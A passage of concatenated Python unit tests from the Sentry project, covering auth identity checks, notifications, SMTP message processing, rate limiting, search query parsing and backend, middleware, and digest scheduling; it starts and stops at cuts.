from sentry.auth.exceptions import IdentityNotValid
from sentry.auth.providers.dummy import DummyProvider
from sentry.models import AuthIdentity, AuthProvider, OrganizationMember
from sentry.testutils import TestCase
from sentry.tasks.check_auth import (
    AUTH_CHECK_INTERVAL, check_auth, check_auth_identity
)


class CheckAuthTest(TestCase):
    @patch('sentry.tasks.check_auth.check_auth_identity')
    def test_simple(self, mock_check_auth_identity):
        organization = self.create_organization(name='Test')
        user = self.create_user(email='bar@example.com')
        auth_provider = AuthProvider.objects.create(
            organization=organization,
            provider='dummy',
        )
        OrganizationMember.objects.create(
            user=user,
            organization=organization,
            flags=getattr(OrganizationMember.flags, 'sso:linked'),
        )

        ai = AuthIdentity.objects.create(
            auth_provider=auth_provider,
            user=user,
            last_synced=timezone.now() - timedelta(days=1),
        )

        check_auth()

        updated_ai = AuthIdentity.objects.get(id=ai.id)
        assert updated_ai.last_synced != ai.last_synced
        # mysql doesnt store ms
        assert updated_ai.last_verified.replace(microsecond=0) == ai.last_verified.replace(microsecond=0)

        mock_check_auth_identity.apply_async.assert_called_once_with(
            kwargs={'auth_identity_id': ai.id},
            expires=AUTH_CHECK_INTERVAL,
        )


class CheckAuthIdentityTest(TestCase):
    @patch('sentry.tasks.check_auth.check_auth_identity')
    def test_simple(self, mock_check_auth_identity):
        organization = self.create_organization(name='Test')
        user = self.create_user(email='bar@example.com')
        auth_provider = AuthProvider.objects.create(
            organization=organization,
            provider='dummy',
        )
        om = OrganizationMember.objects.create(
            user=user,
            organization=organization,
            flags=getattr(OrganizationMember.flags, 'sso:linked'),
        )

        ai = AuthIdentity.objects.create(
            auth_provider=auth_provider,
            user=user,
            last_verified=timezone.now() - timedelta(days=1),
        )

        with patch.object(DummyProvider, 'refresh_identity') as mock_refresh_identity:
            mock_refresh_identity.side_effect = IdentityNotValid()
            with self.auth_provider('dummy', DummyProvider):
                check_auth_identity(auth_identity_id=ai.id)
            mock_refresh_identity.assert_called_once_with(ai)

        # because of an error, it should become inactive
        om = OrganizationMember.objects.get(id=om.id)
        assert not getattr(om.flags, 'sso:linked')
        assert getattr(om.flags, 'sso:invalid')

        updated_ai = AuthIdentity.objects.get(id=ai.id)
        assert updated_ai.last_synced != ai.last_synced
        assert updated_ai.last_verified != ai.last_verified






from __future__ import absolute_import

import mock

from sentry.plugins import NotificationPlugin
from sentry.testutils import PluginTestCase
from sentry.models import Activity


class BasicPreprocessorPlugin(NotificationPlugin):

    def notify_about_activity(self, activity):
        pass

    def is_enabled(self, project=None):
        return True


class ActivityNotificationsTest(PluginTestCase):
    plugin = BasicPreprocessorPlugin

    @mock.patch('sentry.tasks.activity.send_activity_notifications')
    def test_simple(self, mock_func):
        group = self.create_group()

        activity = Activity.objects.create(
            project=group.project,
            group=group,
            type=Activity.ASSIGNED,
            user=self.user,
            data={
                'assignee': None,
            }
        )
        activity.send_notification()

        assert mock_func.delay.call_count == 1






from __future__ import absolute_import






from __future__ import absolute_import, print_function

from django.core import mail

from sentry.models import AuthProvider, OrganizationMember
from sentry.testutils import TestCase
from sentry.tasks.auth import email_missing_links


class EmailMissingLinksTest(TestCase):
    def test_simple(self):
        user = self.create_user(email='bar@example.com')
        organization = self.create_organization(owner=user, name='Test')
        AuthProvider.objects.create(
            organization=organization,
            provider='dummy',
        )
        OrganizationMember.objects.create_or_update(
            user=user,
            organization=organization,
            values={
                'flags': getattr(OrganizationMember.flags, 'sso:linked'),
            },
        )
        user2 = self.create_user(email='baz@example.com')
        OrganizationMember.objects.create(
            user=user2,
            organization=organization,
            flags=0,
        )
        with self.tasks():
            email_missing_links(organization.id)

        assert len(mail.outbox) == 1
        assert mail.outbox[0].to == [user2.email]






from __future__ import absolute_import

from mock import patch

from datetime import timedelta

from sentry.models import Option
from sentry.options import default_store, default_manager
from sentry.tasks.options import sync_options
from sentry.testutils import TestCase


class SyncOptionsTest(TestCase):
    def test_task_persistent_name(self):
        assert sync_options.name == 'sentry.tasks.options.sync_options'

    @patch.object(default_store, 'set_cache')
    def test_simple(self, mock_set_cache):
        default_manager.register('foo')
        option = Option.objects.create(
            key='foo',
            value='bar',
        )
        sync_options(cutoff=60)

        assert mock_set_cache.called
        mock_set_cache.reset_mock()

        option.update(last_updated=option.last_updated - timedelta(days=1))

        sync_options(cutoff=60)

        assert not mock_set_cache.called






from __future__ import absolute_import

from datetime import timedelta
from django.utils import timezone

from sentry.models import (
    Activity, Group, GroupResolution, GroupResolutionStatus, GroupStatus,
    Release
)
from sentry.tasks.clear_expired_resolutions import clear_expired_resolutions
from sentry.testutils import TestCase


class ClearExpiredResolutionsTest(TestCase):
    def test_task_persistent_name(self):
        assert clear_expired_resolutions.name == 'sentry.tasks.clear_expired_resolutions'

    def test_simple(self):
        project = self.create_project()

        old_release = Release.objects.create(
            project=project,
            version='a',
        )

        group1 = self.create_group(
            project=project,
            status=GroupStatus.RESOLVED,
            active_at=timezone.now(),
        )
        resolution1 = GroupResolution.objects.create(
            group=group1,
            release=old_release,
        )
        activity1 = Activity.objects.create(
            group=group1,
            project=project,
            type=Activity.SET_RESOLVED_IN_RELEASE,
            ident=resolution1.id,
            data={'version': ''},
        )

        new_release = Release.objects.create(
            project=project,
            version='b',
            date_added=timezone.now() + timedelta(minutes=1),
        )

        group2 = self.create_group(
            status=GroupStatus.UNRESOLVED,
            active_at=timezone.now(),
        )
        resolution2 = GroupResolution.objects.create(
            group=group2,
            release=new_release,
        )
        activity2 = Activity.objects.create(
            group=group2,
            project=project,
            type=Activity.SET_RESOLVED_IN_RELEASE,
            ident=resolution2.id,
            data={'version': ''},
        )

        clear_expired_resolutions(new_release.id)

        assert Group.objects.get(
            id=group1.id,
        ).status == GroupStatus.RESOLVED

        assert Group.objects.get(
            id=group2.id,
        ).status == GroupStatus.UNRESOLVED

        # rows should not get removed as it breaks regression behavior
        resolution1 = GroupResolution.objects.get(id=resolution1.id)
        assert resolution1.status == GroupResolutionStatus.RESOLVED

        resolution2 = GroupResolution.objects.get(id=resolution2.id)
        assert resolution2.status == GroupResolutionStatus.PENDING

        activity1 = Activity.objects.get(id=activity1.id)
        assert activity1.data['version'] == new_release.version

        activity2 = Activity.objects.get(id=activity2.id)
        assert activity2.data['version'] == ''






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import mock

from sentry.tasks.process_buffer import process_incr
from sentry.testutils import TestCase


class ProcessIncrTest(TestCase):
    @mock.patch('sentry.app.buffer.process')
    def test_calls_process(self, process):
        model = mock.Mock()
        columns = {'times_seen': 1}
        filters = {'pk': 1}
        process_incr(model=model, columns=columns, filters=filters)
        process.assert_called_once_with(model=model, columns=columns, filters=filters)






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from mock import Mock, patch

from sentry.models import EventTag, TagKey, TagValue
from sentry.testutils import TestCase
from sentry.tasks.merge import merge_group
from sentry.tasks.post_process import index_event_tags, post_process_group


class PostProcessGroupTest(TestCase):
    @patch('sentry.tasks.post_process.record_affected_user', Mock())
    @patch('sentry.rules.processor.RuleProcessor')
    def test_rule_processor(self, mock_processor):
        group = self.create_group(project=self.project)
        event = self.create_event(group=group)

        mock_callback = Mock()
        mock_futures = [Mock()]

        mock_processor.return_value.apply.return_value = [
            (mock_callback, mock_futures),
        ]

        post_process_group(
            event=event,
            is_new=True,
            is_regression=False,
            is_sample=False,
        )

        mock_processor.assert_called_once_with(event, True, False, False)
        mock_processor.return_value.apply.assert_called_once_with()

        mock_callback.assert_called_once_with(event, mock_futures)

    @patch('sentry.tasks.post_process.record_affected_user', Mock())
    @patch('sentry.rules.processor.RuleProcessor')
    def test_group_refresh(self, mock_processor):
        group1 = self.create_group(project=self.project)
        group2 = self.create_group(project=self.project)
        event = self.create_event(group=group1)

        assert event.group_id == group1.id
        assert event.group == group1

        with self.tasks():
            merge_group(group1.id, group2.id)

        mock_callback = Mock()
        mock_futures = [Mock()]

        mock_processor.return_value.apply.return_value = [
            (mock_callback, mock_futures),
        ]

        post_process_group(
            event=event,
            is_new=True,
            is_regression=False,
            is_sample=False,
        )

        assert event.group == group2
        assert event.group_id == group2.id


class IndexEventTagsTest(TestCase):
    def test_simple(self):
        group = self.create_group(project=self.project)
        event = self.create_event(group=group)

        with self.tasks():
            index_event_tags.delay(
                event_id=event.id,
                group_id=group.id,
                project_id=self.project.id,
                tags=[('foo', 'bar'), ('biz', 'baz')],
            )

        tags = list(EventTag.objects.filter(
            event_id=event.id,
        ).values_list('key_id', 'value_id'))
        assert len(tags) == 2

        tagkey = TagKey.objects.get(
            key='foo',
            project=self.project,
        )
        tagvalue = TagValue.objects.get(
            key='foo',
            value='bar',
            project=self.project,
        )
        assert (tagkey.id, tagvalue.id) in tags

        tagkey = TagKey.objects.get(
            key='biz',
            project=self.project,
        )
        tagvalue = TagValue.objects.get(
            key='biz',
            value='baz',
            project=self.project,
        )
        assert (tagkey.id, tagvalue.id) in tags

        # ensure it safely handles repeat runs
        with self.tasks():
            index_event_tags.delay(
                event_id=event.id,
                group_id=group.id,
                project_id=self.project.id,
                tags=[('foo', 'bar'), ('biz', 'baz')],
            )

        queryset = EventTag.objects.filter(
            event_id=event.id,
        )
        assert queryset.count() == 2






from __future__ import absolute_import






from __future__ import absolute_import

import os.path

from sentry.models import Activity
from sentry.services.smtp import SentrySMTPServer, STATUS
from sentry.testutils import TestCase
from sentry.utils.email import (
    group_id_to_email, email_to_group_id, _CaseInsensitiveSigner,
)

fixture = open(os.path.dirname(os.path.realpath(__file__)) + '/email.txt').read()


class SentrySMTPTest(TestCase):
    def setUp(self):
        self.address = ('0.0.0.0', 0)
        self.server = SentrySMTPServer(*self.address)
        self.mailto = group_id_to_email(self.group.pk)
        self.event  # side effect of generating an event

    def test_decode_email_address(self):
        self.assertEqual(email_to_group_id(self.mailto), self.group.pk)

    def test_process_message(self):
        with self.tasks():
            self.assertEqual(self.server.process_message('', self.user.email, [self.mailto], fixture), STATUS[200])
        self.assertEqual(Activity.objects.filter(type=Activity.NOTE)[0].data, {'text': 'sup'})

    def test_process_message_no_recipients(self):
        with self.tasks():
            self.assertEqual(self.server.process_message('', self.user.email, [], fixture), STATUS[550])

    def test_process_message_too_long(self):
        with self.tasks():
            self.assertEqual(self.server.process_message('', self.user.email, [self.mailto], fixture * 100), STATUS[552])
        self.assertEqual(Activity.objects.count(), 0)

    def test_process_message_invalid_email(self):
        with self.tasks():
            self.assertEqual(self.server.process_message('', self.user.email, ['lol@localhost'], fixture), STATUS[550])


class CaseInsensitiveSignerTests(TestCase):
    def test_it_works(self):
        with self.settings(SECRET_KEY='a'):
            signer = _CaseInsensitiveSigner()
            assert signer.unsign(signer.sign('foo')) == 'foo'
            assert signer.sign('foo') == 'foo:wkpxg5djz3d4m0zktktfl9hdzw4'
            assert signer.unsign('foo:WKPXG5DJZ3D4M0ZKTKTFL9HDZW4') == 'foo'






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry.ratelimits.redis import RedisRateLimiter
from sentry.testutils import TestCase


class RedisRateLimiterTest(TestCase):
    def setUp(self):
        self.backend = RedisRateLimiter()

    def test_project_key(self):
        assert not self.backend.is_limited('foo', 1, self.project)
        assert self.backend.is_limited('foo', 1, self.project)

    def test_simple_key(self):
        assert not self.backend.is_limited('foo', 1)
        assert self.backend.is_limited('foo', 1)






from __future__ import absolute_import

from datetime import datetime, timedelta
from django.utils import timezone

from sentry.models import EventUser, GroupStatus
from sentry.testutils import TestCase
from sentry.search.base import ANY
from sentry.search.utils import parse_query


class ParseQueryTest(TestCase):
    def parse_query(self, query):
        return parse_query(self.project, query, self.user)

    def test_simple(self):
        result = self.parse_query('foo bar')
        assert result == {'tags': {}, 'query': 'foo bar'}

    def test_useless_prefix(self):
        result = self.parse_query('foo: bar')
        assert result == {'tags': {}, 'query': 'foo: bar'}

    def test_mix_tag_and_query(self):
        result = self.parse_query('foo bar key:value')
        assert result == {'tags': {'key': 'value'}, 'query': 'foo bar'}

    def test_single_tag(self):
        result = self.parse_query('key:value')
        assert result == {'tags': {'key': 'value'}, 'query': ''}

    def test_tag_with_colon_in_value(self):
        result = self.parse_query('url:http://example.com')
        assert result == {'tags': {'url': 'http://example.com'}, 'query': ''}

    def test_multiple_tags(self):
        result = self.parse_query('foo:bar key:value')
        assert result == {'tags': {'key': 'value', 'foo': 'bar'}, 'query': ''}

    def test_single_tag_with_quotes(self):
        result = self.parse_query('foo:"bar"')
        assert result == {'tags': {'foo': 'bar'}, 'query': ''}

    def test_tag_with_quotes_and_query(self):
        result = self.parse_query('key:"a value" hello')
        assert result == {'tags': {'key': 'a value'}, 'query': 'hello'}

    def test_is_resolved(self):
        result = self.parse_query('is:resolved')
        assert result == {'status': GroupStatus.RESOLVED, 'tags': {}, 'query': ''}

    def test_assigned_me(self):
        result = self.parse_query('assigned:me')
        assert result == {'assigned_to': self.user, 'tags': {}, 'query': ''}

    def test_assigned_email(self):
        result = self.parse_query('assigned:%s' % (self.user.email,))
        assert result == {'assigned_to': self.user, 'tags': {}, 'query': ''}

    def test_assigned_unknown_user(self):
        result = self.parse_query('assigned:fake@example.com')
        assert result['assigned_to'].id == 0

    def test_bookmarks_me(self):
        result = self.parse_query('bookmarks:me')
        assert result == {'bookmarked_by': self.user, 'tags': {}, 'query': ''}

    def test_bookmarks_email(self):
        result = self.parse_query('bookmarks:%s' % (self.user.email,))
        assert result == {'bookmarked_by': self.user, 'tags': {}, 'query': ''}

    def test_bookmarks_unknown_user(self):
        result = self.parse_query('bookmarks:fake@example.com')
        assert result['bookmarked_by'].id == 0

    def test_first_release(self):
        result = self.parse_query('first-release:bar')
        assert result == {'first_release': 'bar', 'tags': {}, 'query': ''}

    def test_release(self):
        result = self.parse_query('release:bar')
        assert result == {'tags': {'sentry:release': 'bar'}, 'query': ''}

    def test_padded_spacing(self):
        result = self.parse_query('release:bar  foo   bar')
        assert result == {'tags': {'sentry:release': 'bar'}, 'query': 'foo bar'}

    def test_unknown_user_with_dot_query(self):
        result = self.parse_query('user.email:fake@example.com')
        assert result['tags']['sentry:user'] == 'email:fake@example.com'

    def test_unknown_user_value(self):
        result = self.parse_query('user.xxxxxx:example')
        assert result['tags']['sentry:user'] == 'xxxxxx:example'

    def test_user_lookup_with_dot_query(self):
        euser = EventUser.objects.create(
            project=self.project,
            ident='1',
            username='foobar',
        )
        result = self.parse_query('user.username:foobar')
        assert result['tags']['sentry:user'] == euser.tag_value

    def test_unknown_user_legacy_syntax(self):
        result = self.parse_query('user:email:fake@example.com')
        assert result['tags']['sentry:user'] == 'email:fake@example.com'

    def test_user_lookup_legacy_syntax(self):
        euser = EventUser.objects.create(
            project=self.project,
            ident='1',
            username='foobar',
        )
        result = self.parse_query('user:username:foobar')
        assert result['tags']['sentry:user'] == euser.tag_value

    def test_is_unassigned(self):
        result = self.parse_query('is:unassigned')
        assert result == {'unassigned': True, 'tags': {}, 'query': ''}

    def test_is_assigned(self):
        result = self.parse_query('is:assigned')
        assert result == {'unassigned': False, 'tags': {}, 'query': ''}

    def test_age_from(self):
        result = self.parse_query('age:-24h')
        assert result['age_from'] > timezone.now() - timedelta(hours=25)
        assert result['age_from'] < timezone.now() - timedelta(hours=23)
        assert not result.get('age_to')

    def test_age_to(self):
        result = self.parse_query('age:+24h')
        assert result['age_to'] > timezone.now() - timedelta(hours=25)
        assert result['age_to'] < timezone.now() - timedelta(hours=23)
        assert not result.get('age_from')

    def test_age_range(self):
        result = self.parse_query('age:-24h age:+12h')
        assert result['age_from'] > timezone.now() - timedelta(hours=25)
        assert result['age_from'] < timezone.now() - timedelta(hours=23)
        assert result['age_to'] > timezone.now() - timedelta(hours=13)
        assert result['age_to'] < timezone.now() - timedelta(hours=11)

    def test_date_range(self):
        result = self.parse_query('event.timestamp:>2016-01-01 event.timestamp:<2016-01-02')
        assert result['date_from'] == datetime(2016, 1, 1, tzinfo=timezone.utc)
        assert result['date_from_inclusive']
        assert result['date_to'] == datetime(2016, 1, 2, tzinfo=timezone.utc)
        assert not result['date_to_inclusive']

    def test_date_approx_day(self):
        date_value = datetime(2016, 1, 1, tzinfo=timezone.utc)
        result = self.parse_query('event.timestamp:2016-01-01')
        assert result['date_from'] == date_value
        assert result['date_from_inclusive']
        assert result['date_to'] == date_value + timedelta(days=1)
        assert not result['date_to_inclusive']

    def test_date_approx_precise(self):
        date_value = datetime(2016, 1, 1, tzinfo=timezone.utc)
        result = self.parse_query('event.timestamp:2016-01-01T00:00:00')
        assert result['date_from'] == date_value - timedelta(minutes=5)
        assert result['date_from_inclusive']
        assert result['date_to'] == date_value + timedelta(minutes=6)
        assert not result['date_to_inclusive']

    def test_has_tag(self):
        result = self.parse_query('has:foo')
        assert result['tags']['foo'] == ANY

    def test_has_user(self):
        result = self.parse_query('has:user')
        assert result['tags']['sentry:user'] == ANY

    def test_has_release(self):
        result = self.parse_query('has:release')
        assert result['tags']['sentry:release'] == ANY






from __future__ import absolute_import






from __future__ import absolute_import






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from datetime import datetime, timedelta

from sentry.models import GroupAssignee, GroupBookmark, GroupStatus, GroupTagValue
from sentry.search.base import ANY
from sentry.search.django.backend import DjangoSearchBackend
from sentry.testutils import TestCase


class DjangoSearchBackendTest(TestCase):
    def create_backend(self):
        return DjangoSearchBackend()

    def setUp(self):
        self.backend = self.create_backend()

        self.project1 = self.create_project(name='foo')
        self.project2 = self.create_project(name='bar')

        self.group1 = self.create_group(
            project=self.project1,
            checksum='a' * 32,
            message='foo',
            times_seen=5,
            status=GroupStatus.UNRESOLVED,
            last_seen=datetime(2013, 8, 13, 3, 8, 24, 880386),
            first_seen=datetime(2013, 7, 13, 3, 8, 24, 880386),
        )
        self.event1 = self.create_event(
            event_id='a' * 32,
            group=self.group1,
            datetime=datetime(2013, 7, 13, 3, 8, 24, 880386),
            tags={
                'server': 'example.com',
                'env': 'production',
            }
        )
        self.event3 = self.create_event(
            event_id='c' * 32,
            group=self.group1,
            datetime=datetime(2013, 8, 13, 3, 8, 24, 880386),
            tags={
                'server': 'example.com',
                'env': 'production',
            }
        )

        self.group2 = self.create_group(
            project=self.project1,
            checksum='b' * 32,
            message='bar',
            times_seen=10,
            status=GroupStatus.RESOLVED,
            last_seen=datetime(2013, 7, 14, 3, 8, 24, 880386),
            first_seen=datetime(2013, 7, 14, 3, 8, 24, 880386),
        )
        self.event2 = self.create_event(
            event_id='b' * 32,
            group=self.group2,
            datetime=datetime(2013, 7, 14, 3, 8, 24, 880386),
            tags={
                'server': 'example.com',
                'env': 'staging',
                'url': 'http://example.com',
            }
        )

        for key, value in self.event1.data['tags']:
            GroupTagValue.objects.create(
                project=self.group1.project,
                group=self.group1,
                key=key,
                value=value,
            )
        for key, value in self.event2.data['tags']:
            GroupTagValue.objects.create(
                project=self.group2.project,
                group=self.group2,
                key=key,
                value=value,
            )

        GroupBookmark.objects.create(
            user=self.user,
            group=self.group2,
            project=self.group2.project,
        )

        GroupAssignee.objects.create(
            user=self.user,
            group=self.group2,
            project=self.group2.project,
        )

    def test_query(self):
        results = self.backend.query(self.project1, query='foo')
        assert len(results) == 1
        assert results[0] == self.group1

        results = self.backend.query(self.project1, query='bar')
        assert len(results) == 1
        assert results[0] == self.group2

    def test_sort(self):
        results = self.backend.query(self.project1, sort_by='date')
        assert len(results) == 2
        assert results[0] == self.group1
        assert results[1] == self.group2

        results = self.backend.query(self.project1, sort_by='new')
        assert len(results) == 2
        assert results[0] == self.group2
        assert results[1] == self.group1

        results = self.backend.query(self.project1, sort_by='freq')
        assert len(results) == 2
        assert results[0] == self.group2
        assert results[1] == self.group1

    def test_status(self):
        results = self.backend.query(self.project1, status=GroupStatus.UNRESOLVED)
        assert len(results) == 1
        assert results[0] == self.group1

        results = self.backend.query(self.project1, status=GroupStatus.RESOLVED)
        assert len(results) == 1
        assert results[0] == self.group2

    def test_tags(self):
        results = self.backend.query(self.project1, tags={'env': 'staging'})
        assert len(results) == 1
        assert results[0] == self.group2

        results = self.backend.query(self.project1, tags={'env': 'example.com'})
        assert len(results) == 0

        results = self.backend.query(self.project1, tags={'env': ANY})
        assert len(results) == 2

        results = self.backend.query(self.project1, tags={'env': 'staging', 'server': 'example.com'})
        assert len(results) == 1
        assert results[0] == self.group2

        results = self.backend.query(self.project1, tags={'env': 'staging', 'server': ANY})
        assert len(results) == 1
        assert results[0] == self.group2

        results = self.backend.query(self.project1, tags={'env': 'staging', 'server': 'bar.example.com'})
        assert len(results) == 0

    def test_bookmarked_by(self):
        results = self.backend.query(self.project1, bookmarked_by=self.user)
        assert len(results) == 1
        assert results[0] == self.group2

    def test_project(self):
        results = self.backend.query(self.project2)
        assert len(results) == 0

    def test_pagination(self):
        results = self.backend.query(self.project1, limit=1, sort_by='date')
        assert len(results) == 1
        assert results[0] == self.group1

        results = self.backend.query(self.project1, cursor=results.next, limit=1, sort_by='date')
        assert len(results) == 1
        assert results[0] == self.group2

        results = self.backend.query(self.project1, cursor=results.next, limit=1, sort_by='date')
        assert len(results) == 0

    def test_age_filter(self):
        results = self.backend.query(
            self.project1,
            age_from=self.group2.first_seen,
        )
        assert len(results) == 1
        assert results[0] == self.group2

        results = self.backend.query(
            self.project1,
            age_to=self.group1.first_seen + timedelta(minutes=1),
        )
        assert len(results) == 1
        assert results[0] == self.group1

        results = self.backend.query(
            self.project1,
            age_from=self.group1.first_seen,
            age_to=self.group1.first_seen + timedelta(minutes=1),
        )
        assert len(results) == 1
        assert results[0] == self.group1

    def test_date_filter(self):
        results = self.backend.query(
            self.project1,
            date_from=self.event2.datetime,
        )
        assert len(results) == 2
        assert results[0] == self.group1
        assert results[1] == self.group2

        results = self.backend.query(
            self.project1,
            date_to=self.event1.datetime + timedelta(minutes=1),
        )
        assert len(results) == 1
        assert results[0] == self.group1

        results = self.backend.query(
            self.project1,
            date_from=self.event1.datetime,
            date_to=self.event2.datetime + timedelta(minutes=1),
        )
        assert len(results) == 2
        assert results[0] == self.group1
        assert results[1] == self.group2

    def test_unassigned(self):
        results = self.backend.query(self.project1, unassigned=True)
        assert len(results) == 1
        assert results[0] == self.group1

        results = self.backend.query(self.project1, unassigned=False)
        assert len(results) == 1
        assert results[0] == self.group2

    def test_assigned_to(self):
        results = self.backend.query(self.project1, assigned_to=self.user)
        assert len(results) == 1
        assert results[0] == self.group2






from __future__ import absolute_import

from django.test import RequestFactory
from exam import fixture
from mock import patch

from sentry.middleware.health import HealthCheck
from sentry.status_checks import Problem
from sentry.testutils import TestCase
from sentry.utils import json


class HealthCheckTest(TestCase):
    middleware = fixture(HealthCheck)
    factory = fixture(RequestFactory)

    @patch('sentry.status_checks.check_all')
    def test_other_url(self, check_all):
        req = self.factory.get('/')
        resp = self.middleware.process_request(req)
        assert resp is None, resp
        assert check_all.call_count == 0

    @patch('sentry.status_checks.check_all')
    def test_basic_health(self, check_all):
        req = self.factory.get('/_health/')
        resp = self.middleware.process_request(req)
        assert resp.status_code == 200, resp
        assert check_all.call_count == 0

    @patch('sentry.status_checks.check_all')
    def test_full_health_ok(self, check_all):
        check_all.return_value = {
            object(): [],
        }
        req = self.factory.get('/_health/?full')
        resp = self.middleware.process_request(req)
        assert resp.status_code == 200, resp
        body = json.loads(resp.content)
        assert 'problems' in body
        assert 'healthy' in body
        assert check_all.call_count == 1

    @patch('sentry.status_checks.check_all')
    def test_full_health_bad(self, check_all):
        check_all.return_value = {
            object(): [
                Problem('the system is down'),
            ],
        }
        req = self.factory.get('/_health/?full')
        resp = self.middleware.process_request(req)
        assert resp.status_code == 500, resp
        body = json.loads(resp.content)
        assert 'problems' in body
        assert 'healthy' in body
        assert check_all.call_count == 1






from __future__ import absolute_import

from exam import fixture
from django.http import HttpRequest, HttpResponse, StreamingHttpResponse

from sentry.testutils import TestCase
from sentry.middleware.proxy import (
    ContentLengthHeaderMiddleware, SetRemoteAddrFromForwardedFor)


class ContentLengthHeaderMiddlewareTest(TestCase):
    middleware = fixture(ContentLengthHeaderMiddleware)

    def test_simple(self):
        response = self.middleware.process_response(None, HttpResponse('lol'))
        assert response['Content-Length'] == '3'
        assert 'Transfer-Encoding' not in response

    def test_streaming(self):
        response = self.middleware.process_response(None, StreamingHttpResponse())
        assert 'Transfer-Encoding' not in response
        assert 'Content-Length' not in response


class SetRemoteAddrFromForwardedForTestCase(TestCase):
    middleware = fixture(SetRemoteAddrFromForwardedFor)

    def test_ipv4(self):
        request = HttpRequest()
        request.META['HTTP_X_FORWARDED_FOR'] = '8.8.8.8:80,8.8.4.4'
        self.middleware.process_request(request)
        assert request.META['REMOTE_ADDR'] == '8.8.8.8'

    def test_ipv6(self):
        request = HttpRequest()
        request.META['HTTP_X_FORWARDED_FOR'] = '2001:4860:4860::8888,2001:4860:4860::8844'
        self.middleware.process_request(request)
        assert request.META['REMOTE_ADDR'] == '2001:4860:4860::8888'






from __future__ import absolute_import






from __future__ import absolute_import

from collections import (
    OrderedDict,
    defaultdict,
)
from exam import fixture
from six.moves import reduce

from sentry.digests import Record
from sentry.digests.notifications import (
    Notification,
    event_to_record,
    rewrite_record,
    group_records,
    sort_group_contents,
    sort_rule_groups,
)
from sentry.models import Rule
from sentry.testutils import TestCase


class RewriteRecordTestCase(TestCase):
    @fixture
    def rule(self):
        return self.event.project.rule_set.all()[0]

    @fixture
    def record(self):
        return event_to_record(self.event, (self.rule,))

    def test_success(self):
        assert rewrite_record(
            self.record,
            project=self.event.project,
            groups={
                self.event.group.id: self.event.group,
            },
            rules={
                self.rule.id: self.rule,
            },
        ) == Record(
            self.record.key,
            Notification(
                self.event,
                [self.rule],
            ),
            self.record.timestamp,
        )

    def test_without_group(self):
        # If the record can't be associated with a group, it should be returned as None.
        assert rewrite_record(
            self.record,
            project=self.event.project,
            groups={},
            rules={
                self.rule.id: self.rule,
            },
        ) is None

    def test_filters_invalid_rules(self):
        # If the record can't be associated with a group, it should be returned as None.
        assert rewrite_record(
            self.record,
            project=self.event.project,
            groups={
                self.event.group.id: self.event.group,
            },
            rules={},
        ) == Record(
            self.record.key,
            Notification(self.event, []),
            self.record.timestamp,
        )


class GroupRecordsTestCase(TestCase):
    @fixture
    def rule(self):
        return self.project.rule_set.all()[0]

    def test_success(self):
        events = [self.create_event(group=self.group) for _ in range(3)]
        records = [Record(event.id, Notification(event, [self.rule]), event.datetime) for event in events]
        assert reduce(group_records, records, defaultdict(lambda: defaultdict(list))) == {
            self.rule: {
                self.group: records,
            },
        }


class SortRecordsTestCase(TestCase):
    def test_success(self):
        Rule.objects.create(
            project=self.project,
            label='Send a notification for regressions',
            data={
                'match': 'all',
                'conditions': [
                    {'id': 'sentry.rules.conditions.regression_event.RegressionEventCondition'},
                ],
                'actions': [
                    {'id': 'sentry.rules.actions.notify_event.NotifyEventAction'},
                ],
            }
        )

        rules = list(self.project.rule_set.all())
        groups = [self.create_group() for _ in range(3)]

        groups[0].event_count = 10
        groups[0].user_count = 4

        groups[1].event_count = 5
        groups[1].user_count = 2

        groups[2].event_count = 5
        groups[2].user_count = 1

        grouped = {
            rules[0]: {
                groups[0]: [],
            },
            rules[1]: {
                groups[1]: [],
                groups[2]: [],
            },
        }

        assert sort_rule_groups(sort_group_contents(grouped)) == OrderedDict((
            (rules[1], OrderedDict((
                (groups[1], []),
                (groups[2], []),
            ))),
            (rules[0], OrderedDict((
                (groups[0], []),
            ))),
        ))






from __future__ import absolute_import






from __future__ import absolute_import






from __future__ import absolute_import

import functools
import itertools
import mock
import six
import time

from exam import fixture

from sentry.digests import (
    Record,
)
from sentry.digests.backends.redis import (
    SCHEDULE_STATE_READY,
    SCHEDULE_STATE_WAITING,
    RedisBackend,
    ensure_timeline_scheduled,
    make_digest_key,
    make_last_processed_timestamp_key,
    make_record_key,
    make_schedule_key,
    make_timeline_key,
    truncate_timeline,
)
from sentry.utils.redis import clusters
from sentry.testutils import TestCase


def get_set_size(cluster, key):
    results = []
    with cluster.all() as client:
        results = client.zcard(key)
    return sum(results.value.values())


class BaseRedisBackendTestCase(TestCase):
    @fixture
    def records(self):
        for i in itertools.count():
            yield Record(six.text_type(i), six.text_type(i), float(i))


class RedisScriptTestCase(BaseRedisBackendTestCase):
    def test_ensure_timeline_scheduled_script(self):
        cluster = clusters.get('default')
        client = cluster.get_local_client(six.next(iter(cluster.hosts)))

        timeline = 'timeline'
        timestamp = 100.0

        waiting_set_size = functools.partial(client.zcard, 'waiting')
        ready_set_size = functools.partial(client.zcard, 'ready')

        timeline_score_in_waiting_set = functools.partial(client.zscore, 'waiting', timeline)
        timeline_score_in_ready_set = functools.partial(client.zscore, 'ready', timeline)

        keys = ('waiting', 'ready', 'last-processed')

        # The first addition should cause the timeline to be added to the ready set.
        with self.assertChanges(ready_set_size, before=0, after=1), \
                self.assertChanges(timeline_score_in_ready_set, before=None, after=timestamp):
            assert ensure_timeline_scheduled(client, keys, (timeline, timestamp, 1, 10)) == 1

        # Adding it again with a timestamp in the future should not change the schedule time.
        with self.assertDoesNotChange(waiting_set_size), \
                self.assertDoesNotChange(ready_set_size), \
                self.assertDoesNotChange(timeline_score_in_ready_set):
            assert ensure_timeline_scheduled(client, keys, (timeline, timestamp + 50, 1, 10)) is None

        # Move the timeline from the ready set to the waiting set.
        client.zrem('ready', timeline)
        client.zadd('waiting', timestamp, timeline)
        client.set('last-processed', timestamp)

        increment = 1
        with self.assertDoesNotChange(waiting_set_size), \
                self.assertChanges(timeline_score_in_waiting_set, before=timestamp, after=timestamp + increment):
            assert ensure_timeline_scheduled(client, keys, (timeline, timestamp, increment, 10)) is None

        # Make sure the schedule respects the maximum value.
        with self.assertDoesNotChange(waiting_set_size), \
                self.assertChanges(timeline_score_in_waiting_set, before=timestamp + 1, after=timestamp):
